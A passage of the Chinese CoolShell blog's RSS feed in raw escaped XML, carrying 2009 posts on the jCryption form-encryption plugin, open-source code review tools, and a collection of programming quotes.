class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/1044.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"高级Unix命令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1044.html\" class=\"wp_rp_title\">高级Unix命令</a></li><li ><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/sort-150x150.jpg\" alt=\"一个排序算法比较的网站\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_title\">一个排序算法比较的网站</a></li><li ><a href=\"https://coolshell.cn/articles/3540.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"一段Javascript的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3540.html\" class=\"wp_rp_title\">一段Javascript的代码</a></li><li ><a href=\"https://coolshell.cn/articles/336.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"超过100本的linux免费书籍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/336.html\" class=\"wp_rp_title\">超过100本的linux免费书籍</a></li><li ><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"「我只是认真」聊聊工匠情怀\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_title\">「我只是认真」聊聊工匠情怀</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1234.html\">几个有趣的漫画</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1234.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascripts加密库</title>\n\t\t<link>https://coolshell.cn/articles/1231.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1231.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 10 Aug 2009 10:16:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[jCryption]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1231</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一般说来，使用HTTP协议是不加密的，所有的数据都是以纯文本方式提交的，就算是你提交数据时，也是使用纯文本的方式发送。只有HTTPS协议会有SSL加密数据，但一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1231.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1231.html\">Javascripts加密库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一般说来，使用HTTP协议是不加密的，所有的数据都是以纯文本方式提交的，就算是你提交数据时，也是使用纯文本的方式发送。只有HTTPS协议会有SSL加密数据，但一般来说，HTTPS需要服务器端进行SSL设置，并有些麻烦。而jCryption这个jQuery插件能够加密由Forms提交的POST/GET数据。jCryption使用RSA公钥密码算法加密，另外，该项目还提供一个PHP文件来处理数据的解密。</p>\n<p><a href=\"http://www.jcryption.org/\"><img decoding=\"async\" loading=\"lazy\" title=\"JCryption\" src=\"http://www.webresourcesdepot.com/wp-content/uploads/image/javascript-encyrption.jpg\" alt=\"\" width=\"480\" height=\"121\" /></a></p>\n<p><span id=\"more-1231\"></span></p>\n<p>这个库是一个开源库，也是一个同时使用MIT和GPL协议的项目。</p>\n<p>你需要注意的是，这个库无法取代SSL，使用这个库，你依然可能受到<a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">MITM攻击</a><a href=\"http://www.jcryption.org/\"></a>（中间人攻击 Man-in-the-middle-attacks）</p>\n<p>主页：<a href=\"http://www.jcryption.org/\">http://www.jcryption.org/</a><br />\n下载：<a href=\"http://code.google.com/p/jcryption/downloads/list\">http://code.google.com/p/jcryption/downloads/list</a><br />\n示例：<a href=\"http://www.jcryption.org/demo/\">http://www.jcryption.org/demo/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"深入浅出单实例Singleton设计模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/265.html\" class=\"wp_rp_title\">深入浅出单实例Singleton设计模式</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/5265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\" C++11 中值得关注的几大变化（详解）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5265.html\" class=\"wp_rp_title\"> C++11 中值得关注的几大变化（详解）</a></li><li ><a href=\"https://coolshell.cn/articles/325.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/overall-150x150.jpg\" alt=\"2009年脚本语言排名\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/325.html\" class=\"wp_rp_title\">2009年脚本语言排名</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1231.html\">Javascripts加密库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1231.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>简单实用的Code Review工具</title>\n\t\t<link>https://coolshell.cn/articles/1218.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1218.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 04 Aug 2009 09:09:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Code Review]]></category>\n\t\t<category><![CDATA[Codestriker]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Groogle]]></category>\n\t\t<category><![CDATA[JCR]]></category>\n\t\t<category><![CDATA[Jupiter]]></category>\n\t\t<category><![CDATA[Review board]]></category>\n\t\t<category><![CDATA[Rietveld]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1218</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Code Review中文应该译作“代码审查”或是“代码评审”，这是一个流程，当开发人员写好代码后，需要让别人来review一下他的代码，这是一种有效发现BUG...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1218.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1218.html\">简单实用的Code Review工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Code Review\" src=\"http://www.review-board.org/media/rbsite/images/logo.png?1238930581\" alt=\"\" width=\"130\" height=\"123\" />Code Review中文应该译作“代码审查”或是“代码评审”，这是一个流程，当开发人员写好代码后，需要让别人来review一下他的代码，这是一种有效发现BUG的方法。由此，我们可以审查代码的风格、逻辑、思路……，找出问题，以及改进代码。因为这是代码刚刚出炉的时候，所以，这也是代码重构，代码调整，代码修改的最佳时候。所以，Code Review是编码实现中最最重要的一个环节。</p>\n<p>长时间以来，Code Review需要有一些有效的工具来支持，这样我们就可以更容易，更有效率地来进行代码审查工作。下面是5个开源的代码审查工具，他们可以帮助你更容易地进行这项活动。</p>\n<p><strong>1. <a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a>:</strong><br />\n<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 是一个 基于web 的工具，是由 <a href=\"http://www.djangoproject.com/\" target=\"_blank\">django</a> 和<a href=\"http://www.python.org/\" target=\"_blank\">python</a>设计的。 <a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 可以帮助我们追踪待决代码的改动，并可以让Code-Review更为容易和简练。尽管<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 最初被设计在<a href=\"http://www.vmware.com/\" target=\"_blank\">VMware</a>项目中使用，但现在其足够地通用。当前，其支持这些代码版本管理软件： <a href=\"http://subversion.tigris.org/\" target=\"_blank\">SVN</a>, CVS, <a href=\"http://www.perforce.com/\" target=\"_blank\">Perforce</a>, <a href=\"http://git-scm.com/\" target=\"_blank\">Git</a>, <a href=\"http://bazaar-vcs.org/\" target=\"_blank\">Bazaar</a>, 和<a href=\"http://www.selenic.com/mercurial/wiki/\" target=\"_blank\">Mercurial</a>.</p>\n<p><span id=\"more-1218\"></span></p>\n<p>Yahoo 是<a href=\"http://www.review-board.org/\" target=\"_blank\">review-board</a>的其中一个用户。</p>\n<p style=\"padding-left: 30px;\">“<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 已经改变了代码评审的方式，其可以强迫高质量的代码标准和风格，并可以成为程序员编程的指导者。每一次，当你访问search.yahoo.com 时，其代码都是使用 <a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a>工具Review过的。 We’re great fans of your work!” &#8211; Yahoo! Web Search</p>\n<h3><a href=\"http://www.review-board.org/media/screenshots/2009/02/02/review-requests.png\"><img decoding=\"async\" class=\"aligncenter\" src=\"http://www.review-board.org/media/screenshots/2009/02/02/review-requests_thumb.png\" alt=\"Detailed review requests\" /></a></h3>\n<div><a href=\"http://www.review-board.org/media/screenshots/2009/02/02/diffviewer.png\"><img decoding=\"async\" class=\"aligncenter\" src=\"http://www.review-board.org/media/screenshots/2009/02/02/diffviewer_thumb.png\" alt=\"Powerful diff viewer\" /></a></div>\n<p><strong>2. <a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a>:</strong><br />\n<a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 也是一个基于Web的应用，其主要使用 GCI-Perl 脚本支持在线的代码审查。<a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 可以集成于CVS, <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a>, <a href=\"http://www-01.ibm.com/software/awdtools/clearcase/\" target=\"_blank\">ClearCase</a>, <a href=\"http://www.perforce.com/\" target=\"_blank\">Perforce</a> 和Visual SourceSafe。并有一些插件可以提供支持其它的源码管理工具。</p>\n<p>David Sitsky 是 <a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 的作者，并也是最活跃的开发人员之一。 Jason Remillard 是另一个活路的开发者，并给这个项目提供了最深远最有意义的贡献。大量的程序员贡献他们的代码给 <a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 项目，导致了这个项目空前的繁荣。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://codestriker.sourceforge.net/viewtopicdetail.png\" alt=\"http://codestriker.sourceforge.net/viewtopicdetail.png\" width=\"686\" height=\"544\" /></p>\n<p><strong>3. <a href=\"http://groogle.sourceforge.net/\" target=\"_blank\">Groogle</a>:</strong><br />\n<a href=\"http://groogle.sourceforge.net/\" target=\"_blank\">Groogle</a> 是一个基于WEB的代码评审工具。 <a href=\"http://groogle.sourceforge.net/\" target=\"_blank\">Groogle</a> 支持和 <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a> 集成。它主要提供如下的功能：</p>\n<ul>\n<li>各式各样语言的语法高亮。</li>\n<li>支持整个版本树的比较。</li>\n<li>支持当个文件不同版本的diff功能，并有一个图形的版本树。</li>\n<li>邮件通知所有的Reivew的人当前的状态。</li>\n<li>认证机制。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://sourceforge.net/dbimage.php?id=218190\" alt=\"Screenshot\" width=\"598\" height=\"480\" border=\"1\" /></p>\n<p><strong>4. <a href=\"http://code.google.com/p/rietveld/\" target=\"_blank\">Rietveld</a>:</strong><br />\n<a href=\"http://code.google.com/p/rietveld/\" target=\"_blank\">Rietveld</a> 由Guido van Rossum 开发（他是Python的创造者，现在是Google的员工），这个工具是基于Mondrian 工具，作者一开始是为了Google 开发的，并且，它在很多方面和<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 很像。它也是一个基于Web的应用，并在<a href=\"http://code.google.com/appengine/\" target=\"_blank\">Google App Engine</a> 上。它使用了目前最流行的Web开发框架 <a href=\"http://www.djangoproject.com/\" target=\"_blank\">django</a> 并支持 <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a> 。当前，任何一个使用 Google Code 的项目都可以使用 <a href=\"http://code.google.com/p/rietveld/\" target=\"_blank\">Rietveld</a> 并且使用 <a href=\"http://www.python.org/\" target=\"_blank\">python</a> <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a> 服务器。当然，它同样支持其它的Subversion服务器。</p>\n<p><span style=\"position: relative;\"><a href=\"javascript:dyn.onClickNextTbn()\"><img decoding=\"async\" id=\"imgb\" class=\"aligncenter\" style=\"width: 497px; height: 375px;\" title=\"下一张\" src=\"http://info-database.csdn.net/Upload/2008-11-13/Reviewboard.jpg\" alt=\"\" /></a></span></p>\n<p><span style=\"position: relative;\"> </span></p>\n<p><strong>5.<a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\"> JCR</a></strong><br />\n<a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\">JCR</a> 或者叫做 JCodeReview 也是一个基于WEB界面的最初设计给Reivew Java 语言的一个工具。当然，现在，它可以被用于其它的非Java的代码。</p>\n<p><a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\">JCR</a> 主要想协助：</p>\n<ul>\n<li><strong>审查者</strong>。所有的代码更改都会被高亮，以及大多数语言的语法高亮。Code extracts 可以显示代码评审意见。如果你正在Review Java的代码，你可以点击代码中的类名来查看相关的类的声明。</li>\n<li><strong>项目所有者</strong>。可以 轻松创建并配置需要Review的项目，并不需要集成任何的软件配置管理系统（SCM）。</li>\n<li><strong>流程信仰者</strong>。 所有的评语都会被记录在数据库中，并且会有状态报告，以及各种各样的统计。</li>\n<li><strong>架构师和开发者</strong>。 这个系统也可以让我们查看属于单个文件的评语，这样有利于我们重构代码。</li>\n</ul>\n<p><a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\">JCR</a> 主要面对的是大型的项目，或是非常正式的代码评审，从这方面看来，他并不像上面的那些工具。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" style=\"border: 1px solid black;\" src=\"http://sourceforge.net/projects/jcodereview/screenshots/242251\" alt=\"Screenshot\" border=\"1\" /></p>\n<p><strong><a href=\"http://code.google.com/p/jupiter-eclipse-plugin/\" target=\"_blank\">Jupiter</a></strong>：最后我们要提一下<a href=\"http://code.google.com/p/jupiter-eclipse-plugin/\" target=\"_blank\">Jupiter</a>，这是另一个代码review的工具你可以去考虑使用的，它是一个Eclipse IDE 的插件。</p>\n<p>文章：<a href=\"http://open-tube.com/easy-code-review-tools/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" alt=\"如何重构“箭头型”代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_title\">如何重构“箭头型”代码</a></li><li ><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-150x150.jpg\" alt=\"从Code Review 谈如何做技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_title\">从Code Review 谈如何做技术</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1218.html\">简单实用的Code Review工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1218.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>21</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程引言补充</title>\n\t\t<link>https://coolshell.cn/articles/1212.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1212.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 31 Jul 2009 10:27:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1212</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>之前收集过《22条经典的编程引言》，发现还有一些未收录的，下面这些引言也很有意思的，希望你喜欢。 “The first 90% of the code acco...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1212.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1212.html\">编程引言补充</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>之前收集过《<a title=\"22条经典的编程引言 - 1,565 次浏览\" href=\"https://coolshell.cn/articles/808.html\">22条经典的编程引言</a>》，发现还有一些未收录的，下面这些引言也很有意思的，希望你喜欢。</p>\n<p>“The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time.” – Tom Cargill <br />\n “最开始的90%的代码使用了程序员90%的时间，剩下的10%的代码也需要90%的开发时间”——Tom Cargill（这不就是中国谚语——“行百步半九十”）</p>\n<p>　</p>\n<p>“In order to understand recursion, one must first understand recursion.” – Author Unknown <br />\n “要知道什么是‘递归’，你首先需要知道‘递归’”——无名氏</p>\n<p><span id=\"more-1212\"></span></p>\n<p>　</p>\n<p>“I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone.” – Bjarne Stroustrup <br />\n“我总是希望电脑能和电话一样好用，现在我的这个愿望成真了，因为我已经不知道怎么使用我的电话了”– Bjarne Stroustrup</p>\n<p>　</p>\n<p> “There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult.” -C.A.R. Hoare<br />\n“我们有两个方法来进行软件设计：一个是让其足够的简单以至于让BUG无法藏身；另一个就是让其足够的复杂，让人找不到BUG。前者更难一些” — C.A.R. Hoare</p>\n<p>　</p>\n<p>  “If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization.” – Gerald Weinberg<br />\n“如果建筑工人盖房子就像程序员写程序一样，那么只需要一只啄木鸟就可以摧毁人类文明”– Gerald Weinberg</p>\n<p>　</p>\n<p>“Nine people can’t make a baby in a month.” – Fred Brooks <br />\n“九个人不能只用一个月就能生出孩子来”– Fred Brooks （这是对人月计算法的一个讽刺）</p>\n<p> 　</p>\n<p>“Before software can be reusable it first has to be usable.” – Ralph Johnson<br />\n“在软件可被重用前，它必需要可以被用”– Ralph Johnson</p>\n<p> 　</p>\n<p>程序员之歌<br />\n99 little bugs in the code,<br />\n99 bugs in the code,<br />\nfix one bug, compile it again,<br />\n101 little bugs in the code.<br />\n101 little bugs in the code&#8230;.<br />\n(Repeat until BUGS = 0)</p>\n<p>　</p>\n<p>Any fool can write code that a computer can understand. Good programmers write code that humans can understand. <em>&#8211;Martin Fowler<br />\n</em>任何一个傻子都能写出让电脑能懂的代码，而只有好的程序员可以写出让人能看懂的代码 — Martin Fowler</p>\n<p>　</p>\n<p><strong>Wirth&#8217;s law:</strong> Software gets slower faster than hardware gets faster. &#8212;<a href=\"http://en.wikipedia.org/wiki/Niklaus_Wirth\" target=\"_blank\"><em>Niklaus Wirth</em></a><br />\nWirth定律，软件把性能变慢的速度要快于硬件把性期变快的速度。&#8211; Niklaus Wirth</p>\n<p>　</p>\n<p> Better train people and risk they leave &#8211; than do nothing and risk they stay.<br />\n&#8212;<em>Anonymous<br />\n</em>就算是培训的员工会离开，这也好过他们什么也不做却不会离开。——无名氏</p>\n<p>　</p>\n<p>Good judgment comes from experience, and experience comes from bad judgment. &#8212;<a href=\"http://en.wikipedia.org/wiki/Fred_Brooks\">Frederick P. Brooks</a><br />\n“好的判断来自于经验，而经验则来自于坏的判断”</p>\n<p>　</p>\n<p>UNIX is simple. It just takes a genius to understand its simplicity <em>&#8211;Dennis Ritchie<br />\n</em>UNIX 简单的，但只有天才才能知道他的简单 — Dennis Rithie</p>\n<p>　</p>\n<p>Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things. 　<em>&#8211;Doug Gwyn<br />\n</em>Unix 并不是设计成——阻止人们做那些愚蠢的事，因为那同样会阻止人们做聪明的事。——Doug Gwyn</p>\n<p>　</p>\n<p>如果你想看更多这样的引言，你可以浏览下面这个网页：<br />\n<a href=\"http://www.comp.nus.edu.sg/~damithch/pages/SE-quotes.htm\">http://www.comp.nus.edu.sg/~damithch/pages/SE-quotes.htm</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development-150x150.png\" alt=\"开发团队的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_title\">开发团队的效率</a></li><li ><a href=\"https://coolshell.cn/articles/3258.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"C++的字符串格式化库\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3258.html\" class=\"wp_rp_title\">C++的字符串格式化库</a></li><li ><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"三个教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_title\">三个教程</a></li><li ><a href=\"https://coolshell.cn/articles/2250.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days-150x150.jpg\" alt=\"“21天教你学会C++”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2250.html\" class=\"wp_rp_title\">“21天教你学会C++”</a></li><li ><a 